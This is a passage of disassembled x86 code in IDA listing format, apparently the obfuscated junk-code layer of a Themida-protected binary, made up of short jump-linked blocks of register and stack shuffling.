		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp+4Ch+var_4C]
		xor	[esp+4Ch+var_4C], ebp
		jmp	loc_56001D
; ---------------------------------------------------------------------------


loc_568FEE:				; CODE XREF: sub_56207C+4D1Dj
		pop	esi
		jmp	loc_560281
; ---------------------------------------------------------------------------


loc_568FF4:				; CODE XREF: sub_56207C+CDCBj
		mov	esp, [esp+3Ah+var_3C+2]
		push	[esp+3Ah+var_3C+2]
		pop	edx
		push	ebx
		jmp	loc_560630
; ---------------------------------------------------------------------------


loc_569001:				; CODE XREF: sub_56207C+6ED8j
		sub	esp, 4
		mov	[esp+20h+var_20], ebx
		jmp	loc_569A05
; ---------------------------------------------------------------------------


loc_56900F:				; CODE XREF: sub_56207C+F75j
		pop	esi
		pop	esi
		push	[esp+1Ch+var_1C]
		jmp	loc_56ADEF
; ---------------------------------------------------------------------------


loc_569019:				; CODE XREF: sub_56207C+43DAj
		mov	[esp+6+var_8+2], edx
		jmp	loc_56CAB9
; ---------------------------------------------------------------------------


loc_569021:				; CODE XREF: sub_56207C+EE16j
		xor	edx, esi
		pop	esi
		push	5943h
		mov	[esp+6+var_8+2], edx
		jmp	loc_568839
; ---------------------------------------------------------------------------


loc_569031:				; CODE XREF: sub_56207C+2786j
		sub	ebx, eax
		pop	eax
		pop	small word ptr [eax]
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56903C:				; CODE XREF: sub_56207C-3576j
		mov	ebp, ecx
		pop	ecx
		mov	esi, [esp+2Ah+var_2C+2]
		add	esp, 4
		push	edi
		mov	edi, 755539Fh
		add	edx, edi
		pop	edi
		add	edx, 593E3506h
		add	edx, ebp
		jmp	loc_563BA4
; ---------------------------------------------------------------------------


loc_56905B:				; CODE XREF: sub_56207C+9025j
		push	edx
		mov	edx, 0CF83D67h
		add	edx, 1C30589Eh
		neg	edx
		jmp	loc_564DB2
; ---------------------------------------------------------------------------


loc_56906E:				; CODE XREF: sub_56207C+6D62j
		add	esp, 4
		jmp	loc_56EFA5
; ---------------------------------------------------------------------------


loc_569076:				; CODE XREF: sub_56207C+129Ej
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp+32h+var_34+2]
		pop	esp
		push	edx
		mov	dl, 21h
		jmp	loc_565030
; ---------------------------------------------------------------------------


loc_56908A:				; CODE XREF: sub_56207C+4985j
		pop	[esp+38h+var_38]
		push	ecx
		mov	ecx, 4
		push	edi
		jmp	loc_563C23
; ---------------------------------------------------------------------------


loc_569099:				; CODE XREF: sub_56207C+4485j
		mov	dh, 23h
		add	dh, 0E0h
		sub	dh, cl
		jmp	loc_5604B7
; ---------------------------------------------------------------------------


loc_5690A5:				; CODE XREF: sub_56207C+87CDj
		push	0F9Ch
		mov	[esp+12h+var_14+2], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		push	ebp
		mov	ebp, 669F5CA5h
		jmp	loc_572FFC
; ---------------------------------------------------------------------------


loc_5690C1:				; CODE XREF: sub_56207C+7B15j
		neg	ecx
		shr	ecx, 1
		add	ecx, 78104678h
		sub	eax, ecx
		mov	ecx, [esp+1Ah+var_1C+2]
		add	esp, 4
		mov	ebp, eax
		pop	eax
		sub	[esp+12h+var_C+2], ebp
		jmp	loc_5701B6
; ---------------------------------------------------------------------------


loc_5690DF:				; CODE XREF: sub_56207C+CC79j
		sub	edx, 4
		xchg	edx, [esp+12h+var_14+2]
		jmp	loc_571709
; ---------------------------------------------------------------------------


loc_5690ED:				; CODE XREF: sub_56207C-F3Ej
		push	[esp+3Ch+var_3C]
		mov	eax, [esp+40h+var_40]
		add	esp, 4
		push	61A4h
		jmp	loc_5680BF
; ---------------------------------------------------------------------------


loc_569103:				; CODE XREF: sub_56207C+B8D0j
		pop	eax
		pop	[esp+3Ch+var_3C]
		mov	esp, [esp+38h+var_38]
		sub	esp, 4
		mov	[esp+3Ch+var_3C], ebp
		jmp	loc_5732AE
; ---------------------------------------------------------------------------


loc_569115:				; CODE XREF: sub_56207C+1B40j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+30h+var_30]
		pop	esp
		pop	[esp+2Ch+var_2C]
		pop	esp
		push	4D98h
		mov	[esp+28h+var_28], ecx
		push	edx
		mov	dl, 36h
		jmp	loc_5632A5
; ---------------------------------------------------------------------------


loc_569139:				; CODE XREF: sub_56207C+F593j
		pop	ebp
		jmp	loc_570251
; ---------------------------------------------------------------------------


loc_56913F:				; CODE XREF: sub_56207C+1F14j
		push	ecx
		mov	ecx, 79605A3Ch
		jmp	loc_572C13
; ---------------------------------------------------------------------------


loc_56914A:				; CODE XREF: sub_56207C+F204j
		mov	ecx, [esp+24h+var_24]
		push	ebp
		jmp	loc_56C818
; ---------------------------------------------------------------------------


loc_569153:				; CODE XREF: sub_56207C+E1F5j
		mov	edx, eax
		mov	eax, [esp+28h+var_28]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+2Ch+var_2C]
		jmp	loc_572FB8
; ---------------------------------------------------------------------------


loc_56916F:				; CODE XREF: sub_56207C-1857j
		mov	edi, 3EF63A18h
		mov	eax, 5C96344h
		jmp	loc_560748
; ---------------------------------------------------------------------------


loc_56917E:				; CODE XREF: sub_56207C+C977j
		push	[esp+30h+var_30]
		mov	eax, [esp+34h+var_34]
		jmp	loc_56E628
; ---------------------------------------------------------------------------


loc_569189:				; CODE XREF: sub_56207C+CD21j
		pop	ebx
		sub	eax, edi
		add	eax, 5FDD5FECh
		push	edi
		mov	edi, 28C801A8h
		neg	edi
		add	edi, 5DE67A9Bh
		xor	edi, 4C0B3D9Bh
		xor	edi, 0D017A3Fh
		sub	eax, edi
		pop	edi
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5708A1
; ---------------------------------------------------------------------------


loc_5691BD:				; CODE XREF: sub_56207C-EA7j
		xchg	ecx, [esp+20h+var_20]
		pop	esp
		mov	cx, word ptr [esp+1Ch+var_1C]
		jmp	loc_56F070
; ---------------------------------------------------------------------------


loc_5691CA:				; CODE XREF: sub_56207C+BD48j
		dec	cl
		add	cl, 8Ch
		dec	cl
		and	cl, 0B1h
		xor	cl, 91h
		mov	bh, cl
		pop	ecx
		push	4DA5h
		mov	[esp+1Ch+var_1C], ecx
		mov	ch, 0DFh
		add	ch, 36h
		and	ch, 7Fh
		add	ch, 9Fh
		xor	bh, ch
		jmp	loc_56B4B3
; ---------------------------------------------------------------------------


loc_5691F4:				; CODE XREF: sub_56207C-2A37j
		inc	ebp
		sub	ebp, 1473B9FFh
		jmp	loc_56E4AF
; ---------------------------------------------------------------------------


loc_569200:				; CODE XREF: sub_56207C+BA4j
		add	[esp+38h+var_38], 4
		mov	eax, [esp+38h+var_38]
		add	esp, 4
		push	76B3h
		mov	[esp+38h+var_38], ebx
		mov	ebx, 2AC25B6h
		shr	ebx, 5
		push	eax
		mov	eax, 7E9B4554h
		push	edi
		mov	edi, 13EA2AC1h
		add	eax, edi
		pop	edi
		jmp	loc_56A2E4
; ---------------------------------------------------------------------------


loc_56922E:				; CODE XREF: sub_56207C+10CD7j
		push	eax
		mov	eax, esp
		jmp	loc_57136E
; ---------------------------------------------------------------------------


loc_569236:				; CODE XREF: sub_56207C+205Bj
		mov	esi, 4
		sub	edi, esi
		mov	esi, [esp+2Ah+var_2C+2]
		add	esp, 4
		xchg	edi, [esp+26h+var_28+2]
		mov	esp, [esp+26h+var_28+2]
		mov	[esp+26h+var_28+2], esi
		push	79ADh
		mov	[esp+2Ah+var_2C+2], esp
		add	[esp+2Ah+var_2C+2], 4
		pop	esi
		push	1B4Dh
		mov	[esp+2Ah+var_2C+2], edx
		mov	edx, 21EB3521h
		push	edx
		push	edi
		pop	edx
		pop	edi
		not	edi
		jmp	loc_56D110
; ---------------------------------------------------------------------------


loc_569274:				; CODE XREF: sub_56207C+5A3Bj
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_569279:				; CODE XREF: sub_56207C+393Dj
		mov	esi, 66165364h
		jmp	loc_569410
; ---------------------------------------------------------------------------


loc_569283:				; CODE XREF: sub_56207C+F79Dj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+3Ah+var_3C+2]
		jmp	loc_56FC75
; ---------------------------------------------------------------------------


loc_569299:				; CODE XREF: sub_56207C+6313j
		pop	esp
		add	eax, 13252FBCh
		sub	eax, 64921521h
		add	eax, ebp
		add	eax, 64921521h
		sub	eax, 13252FBCh
		jmp	loc_5643C1
; ---------------------------------------------------------------------------


loc_5692B5:				; CODE XREF: sub_56207C+17j
		mov	[esp+40h+var_40], edi
		mov	edi, 3FAE5D5Dh
		jmp	loc_5679B9
; ---------------------------------------------------------------------------


loc_5692C2:				; CODE XREF: sub_56207C+AB87j
		mov	edx, ebx
		pop	ebx
		inc	edx
		xor	edx, 776729F2h
		jmp	loc_568C34
; ---------------------------------------------------------------------------


loc_5692D1:				; CODE XREF: sub_56207C+2535j
		push	esi
		mov	esi, 67316BB5h
		push	ecx
		mov	ecx, 51D21D97h
		xor	ecx, 6D247916h
		or	esi, ecx
		pop	ecx
		jmp	loc_56316E
; ---------------------------------------------------------------------------


loc_5692EB:				; CODE XREF: sub_56207C+5C44j
		push	ebx
		mov	ebx, 5D800DFDh
		sub	eax, ebx
		jmp	loc_567BF0
; ---------------------------------------------------------------------------


loc_5692F8:				; CODE XREF: sub_56207C+B3E6j
		mov	esi, [esp+42h+var_44+2]
		add	esp, 4
		push	edi
		mov	edi, 2AB93828h
		sub	eax, 50B46705h
		jmp	loc_569B67
; ---------------------------------------------------------------------------


loc_56930E:				; CODE XREF: sub_56207C+FE28j
		mov	ecx, 67584C65h
		shl	ecx, 4
		shr	ecx, 5
		inc	ecx
		jmp	loc_568B74
; ---------------------------------------------------------------------------


loc_56931F:				; CODE XREF: sub_56207C-24C3j
		mov	[esp-0Ch+arg_8], esi
		sub	esp, 4
		push	esp
		pop	[esp-4+arg_0]
		push	esi
		push	4
		pop	esi
		add	[esp-4+arg_4], esi
		pop	esi
		mov	esi, [esp-8+arg_4]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		push	eax
		mov	eax, 294A2031h
		shr	eax, 7
		push	5667h
		mov	[esp+0], ebx
		jmp	loc_56E6EB
; ---------------------------------------------------------------------------


loc_569361:				; CODE XREF: sub_56207C+10DC3j
		pop	ebp
		jmp	loc_56D4B2
; ---------------------------------------------------------------------------


loc_569367:				; CODE XREF: sub_56207C-74Bj
		xchg	eax, [esp+18h+var_18]
		pop	esp
		add	edi, 6E8426B5h
		add	edi, edx
		sub	edi, 6E8426B5h
		push	[esp+14h+var_14]
		mov	edx, [esp+18h+var_18]
		add	esp, 4
		add	esp, 4
		xchg	edi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		shl	byte ptr [esp+10h+var_10], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_569397:				; CODE XREF: sub_56207C+A1C3j
		pop	edx
		push	ebx
		jmp	loc_572368
; ---------------------------------------------------------------------------


loc_56939E:				; CODE XREF: sub_56207C+CCB8j
		pop	ecx
		push	ebx
		mov	ebx, 3AB85D64h
		sub	eax, ebx
		pop	ebx
		shr	eax, 4
		push	edi
		mov	edi, 58323879h


loc_5693B1:				; DATA XREF: sub_5AA371+B7o
		and	edi, 144A4B08h
		neg	edi
		push	ebp
		mov	ebp, 24BF196Eh
		sub	esp, 4
		jmp	loc_55FD4C
; ---------------------------------------------------------------------------


loc_5693CA:				; CODE XREF: sub_56207C-2064j
		pop	ecx
		jmp	loc_55E66C
; ---------------------------------------------------------------------------


loc_5693D0:				; CODE XREF: sub_56207C-3453j
		sub	ebp, 389E22AFh
		mov	eax, [esp+26h+var_28+2]
		add	esp, 4
		pop	edx
		push	ecx
		mov	ecx, 2
		push	ecx
		mov	ecx, 76391E59h
		jmp	loc_56A921
; ---------------------------------------------------------------------------


loc_5693F1:				; CODE XREF: sub_56207C+2D31j
		xor	ecx, ebx
		jmp	loc_568B3F
; ---------------------------------------------------------------------------


loc_5693F8:				; CODE XREF: sub_56207C-3275j
		pop	ebx
		add	eax, 4
		jmp	loc_564857
; ---------------------------------------------------------------------------


loc_569401:				; CODE XREF: sub_56207C+A18Cj
		add	esp, [edx+38h]
		push	esi
		push	ecx
		mov	ecx, 5C4A3981h
		jmp	loc_560ACC
; ---------------------------------------------------------------------------


loc_569410:				; CODE XREF: sub_56207C+7202j
		not	esi
		add	esi, 66165369h
		sub	edi, 2AB2406Dh
		push	165Ah
		mov	[esp+3Eh+var_40+2], ecx
		jmp	loc_5695DA
; ---------------------------------------------------------------------------


loc_56942B:				; CODE XREF: sub_56207C+C8C0j
		mov	ebp, esi
		pop	esi
		mov	esi, ebp
		mov	ebp, [esp+3Ah+var_3C+2]
		add	esp, 4
		add	edx, esi
		pop	esi
		sub	edx, 4
		xchg	edx, [esp+32h+var_34+2]
		mov	esp, [esp+32h+var_34+2]
		jmp	loc_56EC81
; ---------------------------------------------------------------------------


loc_56944A:				; CODE XREF: sub_56207C+9DCAj
		mov	esi, 338A394Ch
		add	ebx, 18B062D3h
		sub	ebx, 50891D38h
		sub	ebx, esi
		add	ebx, 50891D38h
		sub	ebx, 18B062D3h
		pop	esi
		jmp	loc_570B49
; ---------------------------------------------------------------------------


loc_56946F:				; CODE XREF: sub_56207C+12DAj
		xor	eax, 422F3CD5h
		jmp	loc_56B956
; ---------------------------------------------------------------------------


loc_569479:				; CODE XREF: sub_56207C+17DDj
		xor	[esp+40h+var_40], esi
		xor	esi, [esp+40h+var_40]
		pop	esp
		jmp	loc_568627
; ---------------------------------------------------------------------------


loc_569485:				; CODE XREF: sub_56207C+5E8Aj
		shl	word ptr [esp+12h+var_14+2], cl
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56948F:				; CODE XREF: sub_56207C-148Dj
		mov	[esp-4+arg_0], ebx
		push	esi
		mov	esi, 731A2E29h
		jmp	loc_567D06
; ---------------------------------------------------------------------------


loc_56949D:				; CODE XREF: sub_56207C+2747j
		pop	ecx
		jmp	loc_56D141
; ---------------------------------------------------------------------------


loc_5694A3:				; CODE XREF: sub_56207C+2952j
		pop	eax
		add	edi, ebx
		pop	ebx
		push	edi
		push	[esp+16h+var_14+2]
		pop	edi
		pop	[esp+16h+var_18+2]
		pop	esp
		idiv	cl
		movzx	cx, ah
		push	small 3EECh
		mov	word ptr [esp+10h+var_10], cx
		movzx	cx, al
		jmp	loc_571AE5
; ---------------------------------------------------------------------------


loc_5694C8:				; CODE XREF: sub_56207C-244Fj
		add	edi, 7A1A6FCDh
		sub	edi, edx
		sub	edi, 7A1A6FCDh
		pop	edx
		xor	edi, [esp-14h+arg_10]
		xor	[esp-14h+arg_10], edi
		xor	edi, [esp-14h+arg_10]
		pop	esp
		mov	word ptr [esp-18h+arg_14], dx
		push	ax
		pushf
		jmp	loc_572127
; ---------------------------------------------------------------------------


loc_5694ED:				; CODE XREF: sub_56207C+3813j
		mov	[esp+40h+var_40], eax
		mov	eax, 2
		add	edi, eax
		mov	eax, [esp+40h+var_40]
		push	247Eh
		mov	[esp+44h+var_44], esi
		mov	esi, esp
		jmp	loc_56C947
; ---------------------------------------------------------------------------


loc_569509:				; CODE XREF: sub_56207C+AB13j
		pop	ebx
		add	edi, ebx
		jmp	loc_56CBA4
; ---------------------------------------------------------------------------


loc_569511:				; CODE XREF: sub_56207C+5348j
		push	ebp
		jmp	loc_57181E
; ---------------------------------------------------------------------------


loc_569517:				; CODE XREF: sub_56207C+BCBDj
		not	esi
		xchg	eax, esi
		add	eax, 3C08313Fh
		jmp	loc_571AED
; ---------------------------------------------------------------------------


loc_569524:				; CODE XREF: sub_56207C+DC9Cj
		xor	ebx, 0ED46A75h
		sub	ebx, 0B3353116h
		jmp	loc_56F941
; ---------------------------------------------------------------------------


loc_569535:				; CODE XREF: sub_56207C+1B6Bj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_565E0D
; ---------------------------------------------------------------------------


loc_569549:				; CODE XREF: sub_56207C+E208j
		pop	[esp+34h+var_34]
		pop	esp
		jmp	loc_564AB0
; ---------------------------------------------------------------------------


loc_569552:				; CODE XREF: sub_56207C+3A4Bj
		add	esp, 4
		add	cl, ah
		mov	eax, [esp+46h+var_48+2]
		add	esp, 4
		push	edx
		mov	dl, 0ABh
		xor	cl, dl
		pop	edx
		xor	al, cl
		pop	ecx
		push	dx
		jmp	loc_56514A
; ---------------------------------------------------------------------------


loc_56956D:				; CODE XREF: sub_56207C-209j
		add	esi, 37160EA6h
		mov	edx, esi
		pop	esi
		jmp	loc_55F1C0
; ---------------------------------------------------------------------------


loc_56957B:				; CODE XREF: sub_56207C+AE8Cj
		mov	dx, word ptr [esp+40h+var_40]
		sub	esp, 4
		mov	[esp+44h+var_44], ebp
		push	esp
		mov	ebp, [esp+48h+var_48]
		jmp	loc_56D008
; ---------------------------------------------------------------------------


loc_56958E:				; CODE XREF: sub_56207C-2F7Ej
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		push	ebx
		mov	ebx, 3D8D54F6h
		add	ebx, 145CD9AAh
		add	esi, ebx
		pop	ebx
		add	esi, ebx
		sub	esi, 51EA2EA0h
		pop	ebx
		jmp	sub_55EE40
; ---------------------------------------------------------------------------


loc_5695B3:				; CODE XREF: sub_56207C+7B4Aj
		pop	edx
		jmp	loc_560118
; ---------------------------------------------------------------------------


loc_5695B9:				; CODE XREF: sub_56207C+24AAj
		mov	ebx, [esp+1Ch+var_1C]
		jmp	loc_565CE5
; ---------------------------------------------------------------------------


loc_5695C1:				; CODE XREF: sub_56207C+1493j
		push	ebx
		jmp	loc_56ED39
; ---------------------------------------------------------------------------


loc_5695C7:				; CODE XREF: sub_56207C+870j
		add	ecx, eax
		pop	eax
		push	ecx
		jmp	loc_571BC3
; ---------------------------------------------------------------------------


loc_5695D0:				; CODE XREF: sub_56207C+A4E0j
		mov	ch, 91h
		sub	ch, 79h
		jmp	loc_56DDBD
; ---------------------------------------------------------------------------


loc_5695DA:				; CODE XREF: sub_56207C+73AAj
		mov	ecx, 492D4684h
		add	edi, ecx
		jmp	loc_55FB4A
; ---------------------------------------------------------------------------


loc_5695E6:				; CODE XREF: sub_56207C+8FB7j
		push	ebp
		mov	ebp, 43B2A22h
		push	ecx
		mov	ecx, 676751AAh
		xor	ecx, 506F0253h
		and	ecx, 74B72788h
		xor	ecx, 31441058h
		dec	ecx
		jmp	loc_570B7B
; ---------------------------------------------------------------------------


loc_56960A:				; CODE XREF: sub_56207C+A783j
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_56960F:				; CODE XREF: sub_56207C+8790j
		sub	bl, al
		jmp	loc_56333A
; ---------------------------------------------------------------------------


loc_569616:				; CODE XREF: sub_56207C+4956j
		push	[esp+36h+var_38+2]
		pop	ecx
		add	esp, 4
		push	eax
		mov	eax, 47FE1364h
		add	eax, 66D268E0h
		add	eax, 512F83C0h
		jmp	loc_567355
; ---------------------------------------------------------------------------


loc_569632:				; CODE XREF: sub_56207C+E23j
		mov	edx, [esp+2Ch+var_2C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5707D8
; ---------------------------------------------------------------------------


loc_569646:				; CODE XREF: sub_56207C+101F8j
		sub	dl, 4Fh
		xor	dl, 0E1h
		xor	ah, dl
		pop	edx
		sub	cl, ah
		pop	eax
		jmp	loc_5731C6
; ---------------------------------------------------------------------------


loc_569657:				; CODE XREF: sub_56207C+9Dj
		add	ebx, ebp
		pop	ebp
		push	edx
		mov	edx, 27B2054Bh
		xor	edx, 2EE66DB9h
		sub	ebx, edx
		pop	edx
		jmp	loc_56F8C9
; ---------------------------------------------------------------------------


loc_56966E:				; CODE XREF: sub_56207C+7C90j
		add	ebx, 4
		jmp	loc_56554F
; ---------------------------------------------------------------------------


loc_569679:				; CODE XREF: sub_56207C+4830j
		push	[esp+26h+var_28+2]
		mov	edx, [esp+2Ah+var_2C+2]
		add	esp, 4
		add	esp, 4
		push	edi
		push	eax
		mov	eax, 4
		jmp	loc_56B074
; ---------------------------------------------------------------------------


loc_569694:				; CODE XREF: sub_56207C+B649j
		xchg	edi, [esp+2Ah+var_2C+2]
		pop	esp
		mov	[esp+26h+var_28+2], edi
		mov	edi, 11517CECh
		dec	edi
		shl	edi, 1
		shr	edi, 2
		not	edi
		or	edi, 39634C58h
		sub	edi, 0BF7F07F6h
		sub	[esp+26h+var_24+2], 34B024EEh
		sub	[esp+26h+var_24+2], edi
		add	[esp+26h+var_24+2], 34B024EEh
		push	[esp+26h+var_28+2]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+2Ah+var_2C+2]
		pop	esp
		push	ecx
		mov	ecx, 1123485h
		add	[esp+2Ah+var_28+2], ecx
		pop	ecx
		push	ecx
		mov	ecx, 6C6C65CCh
		jmp	loc_563294
; ---------------------------------------------------------------------------


loc_5696F5:				; CODE XREF: sub_56207C+2C93j
		shl	edx, 1
		jmp	loc_570F95
; ---------------------------------------------------------------------------


loc_5696FC:				; CODE XREF: sub_56207C-3323j
		push	esi
		push	[esp+1Eh+var_1C+2]
		jmp	loc_56F6E5
; ---------------------------------------------------------------------------


loc_569706:				; CODE XREF: sub_56207C+F1A3j
		mov	ecx, [esp+22h+var_24+2]
		add	esp, 4
		push	eax
		mov	eax, 4
		sub	esi, 1ED262EEh
		add	esi, eax
		add	esi, 1ED262EEh
		jmp	loc_5722CB
; ---------------------------------------------------------------------------


loc_569728:				; CODE XREF: sub_56207C+9BF8j
		mov	bl, 0C0h
		add	al, bl
		pop	ebx
		mov	ebx, [esp+1Eh+var_20+2]
		jmp	loc_56462A
; ---------------------------------------------------------------------------


loc_569735:				; CODE XREF: sub_56207C-88Dj
		mov	edi, 23AE297Eh
		xor	edi, 23AE297Ah
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp+42h+var_44+2]
		pop	esp


loc_56974D:				; CODE XREF: sub_56207C+8BF9j
					; sub_56207C+C068j
		push	7F57h
		mov	[esp+42h+var_44+2], edx
		jmp	loc_564759
; ---------------------------------------------------------------------------


loc_56975A:				; CODE XREF: sub_56207C+2624j
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp+3Ch+var_3C], esi
		mov	esi, 4
		push	ebp
		push	5EAB38CAh
		pop	ebp
		sub	ecx, 563920F4h
		sub	ecx, ebp
		add	ecx, 563920F4h
		pop	ebp
		add	ecx, esi
		jmp	loc_56291E
; ---------------------------------------------------------------------------


loc_56978D:				; CODE XREF: sub_56207C+E16Fj
		mov	[esp+3Ch+var_3C], ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 33B01B71h
		push	ebp
		push	eax
		mov	eax, 568710D6h
		push	eax
		jmp	loc_5707A8
; ---------------------------------------------------------------------------


loc_5697A5:				; CODE XREF: sub_56207C-3A40j
		sub	edx, 0FFFFFFFFh
		jmp	loc_5664D9
; ---------------------------------------------------------------------------


loc_5697AD:				; CODE XREF: sub_56207C+DB13j
		pop	ebx
		shl	edi, 6
		jmp	loc_563499
; ---------------------------------------------------------------------------


loc_5697B6:				; CODE XREF: sub_56207C+2ED0j
		pop	esp
		jmp	loc_56341B
; ---------------------------------------------------------------------------


loc_5697BC:				; CODE XREF: sub_56207C+FED1j
		push	3D49h
		jmp	loc_569BD6
; ---------------------------------------------------------------------------


loc_5697C6:				; CODE XREF: sub_56207C+F7D8j
		shl	edx, 8
		shl	edx, 7
		jmp	loc_56E59B
; ---------------------------------------------------------------------------


loc_5697D1:				; CODE XREF: sub_56207C-45Ej
		mov	ebp, 119D7CEDh
		mov	ebx, 43FD9A20h
		add	ebx, 4B143F96h
		add	ebx, ebp
		sub	ebx, 4B143F96h
		push	[esp+34h+var_34]
		pop	ebp
		add	esp, 4
		push	5D96h
		jmp	loc_563FAB
; ---------------------------------------------------------------------------


loc_5697FA:				; CODE XREF: sub_56207C+37CEj
		sub	ecx, 80516F4h
		pop	eax
		add	ecx, 2
		jmp	loc_56C883
; ---------------------------------------------------------------------------


loc_569809:				; CODE XREF: sub_56207C+9204j
		push	ecx
		mov	cl, 28h
		push	ebx
		jmp	loc_5683E1
; ---------------------------------------------------------------------------


loc_569812:				; CODE XREF: sub_56207C-261Ej
		add	edx, 4
		xchg	edx, [esp+6+var_8+2]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5698E3
; ---------------------------------------------------------------------------


loc_56982A:				; CODE XREF: sub_56207C+DC55j
		shr	ch, 3
		shl	ch, 2
		and	ch, 65h
		sub	ch, 0F7h
		add	al, ch
		pop	ecx
		xor	al, 6Ch
		jmp	loc_572755
; ---------------------------------------------------------------------------


loc_569840:				; CODE XREF: sub_56207C+8BBFj
		xor	ebx, 570F7618h
		add	edx, ebx
		mov	ebx, [esp+2+var_4+2]
		add	esp, 4
		jmp	loc_56F452
; ---------------------------------------------------------------------------


loc_569856:				; CODE XREF: sub_56207C+924Cj
		add	eax, 4
		jmp	loc_561CE6
; ---------------------------------------------------------------------------


loc_569860:				; CODE XREF: sub_56207C+1A24j
		add	esi, ebx
		push	[esp+0Eh+var_10+2]
		pop	ebx
		add	esp, 4
		push	385Fh
		jmp	loc_560B38
; ---------------------------------------------------------------------------


loc_569873:				; CODE XREF: sub_56207C+981Bj
		not	esi
		not	esi
		jmp	loc_572DBB
; ---------------------------------------------------------------------------


loc_56987C:				; CODE XREF: sub_56207C-1322j
		xor	esi, ebx
		jmp	loc_561BC2
; ---------------------------------------------------------------------------


loc_569883:				; CODE XREF: sub_56207C+FB6Ej
		add	edx, eax
		mov	eax, [esp+2Ch+var_2C]
		add	esp, 4
		jmp	loc_561D9B
; ---------------------------------------------------------------------------


loc_569890:				; CODE XREF: sub_56207C+E9F5j
		pop	edx
		jmp	loc_57073C
; ---------------------------------------------------------------------------


loc_569896:				; CODE XREF: sub_56207C+15FAj
		xor	esi, [esp+18h+var_18]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_5700FA
; ---------------------------------------------------------------------------


loc_5698A3:				; CODE XREF: sub_56207C+5050j
		sub	ecx, 22D1BF04h
		push	esi
		mov	esi, ecx
		mov	ebp, esi
		pop	esi
		pop	ecx
		jmp	loc_56B8EF
; ---------------------------------------------------------------------------


loc_5698B5:				; CODE XREF: sub_56207C+55BDj
		xor	eax, 73A209BDh
		jmp	loc_5718B9
; ---------------------------------------------------------------------------


loc_5698BF:				; CODE XREF: sub_56207C+ECAFj
		mov	[esp+38h+var_38], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+38h+var_38]
		jmp	loc_56E05E
; ---------------------------------------------------------------------------


loc_5698D8:				; CODE XREF: sub_56207C+6030j
		pop	eax
		push	1166h
		jmp	loc_561122
; ---------------------------------------------------------------------------


loc_5698E3:				; CODE XREF: sub_56207C+77A9j
		push	esi
		mov	esi, 4
		sub	edi, esi
		pop	esi
		jmp	loc_5682BE
; ---------------------------------------------------------------------------


loc_5698F1:				; CODE XREF: sub_56207C+A0Aj
		add	edx, ebx
		jmp	loc_56761C
; ---------------------------------------------------------------------------


loc_5698F8:				; CODE XREF: sub_56207C+AE56j
		mov	dh, 4Bh
		sub	dh, 53h
		xor	dh, 11h
		shr	dh, 5
		and	dh, 0CFh
		sub	dh, 0CBh
		jmp	loc_560EA1
; ---------------------------------------------------------------------------


loc_56990E:				; CODE XREF: sub_56207C+8942j
		push	esi
		push	eax
		mov	eax, 7593054Fh
		mov	esi, eax
		jmp	loc_560179
; ---------------------------------------------------------------------------


loc_56991C:				; CODE XREF: sub_56207C-3895j
		xor	eax, ebx
		pop	ebx
		sub	eax, 0DCE84041h
		sub	edi, eax
		mov	eax, [esp+10h+var_10]
		add	esp, 4
		push	ebx
		sub	esp, 4
		jmp	loc_5636BF
; ---------------------------------------------------------------------------


loc_569938:				; DATA XREF: Themida_:0055E190o
		neg	byte ptr [esp+14h+var_14]
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_569941:				; CODE XREF: sub_56207C+1559j
		add	[esp+0Eh+var_C+2], ecx
		mov	ecx, [esp+0Eh+var_10+2]
		jmp	loc_5668B1
; ---------------------------------------------------------------------------


loc_56994D:				; CODE XREF: sub_56207C+2146j
		mov	esp, [esp+10h+var_10]
		push	6146h
		mov	[esp+14h+var_14], ebx
		jmp	loc_563A4B
; ---------------------------------------------------------------------------


loc_56995D:				; CODE XREF: sub_56207C+2DBj
		mov	edi, 6B7B7882h
		mov	ecx, edi
		jmp	loc_5608A7
; ---------------------------------------------------------------------------


loc_569969:				; CODE XREF: sub_56207C-1C1Fj
		sub	esp, 4
		mov	[esp+10h+var_10], ebx
		jmp	loc_5639D6
; ---------------------------------------------------------------------------


loc_569974:				; CODE XREF: sub_56207C+10EABj
		pop	[esp+10h+var_10]
		jmp	loc_56BD4D
; ---------------------------------------------------------------------------


loc_56997C:				; CODE XREF: sub_56207C+10546j
		push	57C3h
		sub	esp, 4
		mov	[esp+14h+var_14], esp
		jmp	loc_568679
; ---------------------------------------------------------------------------


loc_56998C:				; CODE XREF: sub_56207C+15E7j
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		push	edi
		mov	edi, 4
		jmp	loc_561445
; ---------------------------------------------------------------------------


loc_5699A4:				; CODE XREF: sub_56207C+112BDj
		add	esp, 4
		push	eax
		jmp	loc_56D5EF
; ---------------------------------------------------------------------------


